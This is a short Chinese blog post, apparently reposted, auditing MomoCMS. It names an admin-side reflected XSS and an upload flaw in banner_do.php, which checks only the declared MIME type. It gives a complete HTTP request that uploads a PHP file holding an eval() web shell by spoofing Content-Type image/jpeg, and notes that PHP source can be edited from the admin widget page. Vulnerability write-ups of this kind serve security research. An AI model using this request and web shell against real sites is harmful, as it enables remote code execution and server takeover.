momocms代码审计

来源:互联网 发布:软件设计师怎么挂靠 编辑:程序博客网 时间:2024/06/05 14:09

无聊时看了站长之家上有个程序挺火的,下载下来看了下。

前端的$_GET都是用intval()函数过滤了,没有什么可利用的。

后台有一处xss

admin\create_sub_product.php的第96行

<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET['id']; ?>"><p></span>



二:上传漏洞


在admin/banner_do.php 中

代码如下

<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");if(empty($_SESSION['momocms_admin'])){header("Location:./index.php");exit;}if($_SESSION['momocms_isAdmin']==1){if (($_FILES["banner"]["type"] == "image/gif")|| ($_FILES["banner"]["type"] == "image/jpeg")|| ($_FILES["banner"]["type"] == "image/png")|| ($_FILES["banner"]["type"] == "image/pjpeg"))  {  if ($_FILES["banner"]["error"] > 0){    echo "Return Code: " . $_FILES["banner"]["error"] . "<br />";    }else{    if(!is_dir("../resource/slide/images")){    mkdir("../resource/slide/images");    }     $pos = strrpos($_FILES["banner"]["name"],".");     $back = substr($_FILES["banner"]["name"],$pos);     $_FILES["banner"]["name"] = time().$back;      move_uploaded_file($_FILES["banner"]["tmp_name"],      "../resource/slide/images/".  $_FILES["banner"]["name"]);      $pic="../resource/slide/images/".  $_FILES["banner"]["name"];      echo '<script>parent.document.getElementById("successMsg").style.display="block";setTimeout(function(){parent.window.location.href="./banner.php";},1500);</script>';    }  }}</span>

可以看到上传至判断了上传的类型,而没有判断上传的后缀等等。

所以可以构造Content-type:image/jpeg 即可突破上传

<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://localhost/test/momocms/admin/banner.phpCookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811Connection: keep-aliveContent-Type: multipart/form-data; boundary=---------------------------13761195204349Content-Length: 227-----------------------------13761195204349Content-Disposition: form-data; name="banner"; filename="1.php"Content-Type: image/jpeg<?php eval($_POST['w']);?>-----------------------------13761195204349--</span>





然后在后台挂件哪里可以直接修改php源代码

暂时看了这么多。还有其他的以后再看吧。


0 0
原创粉丝点击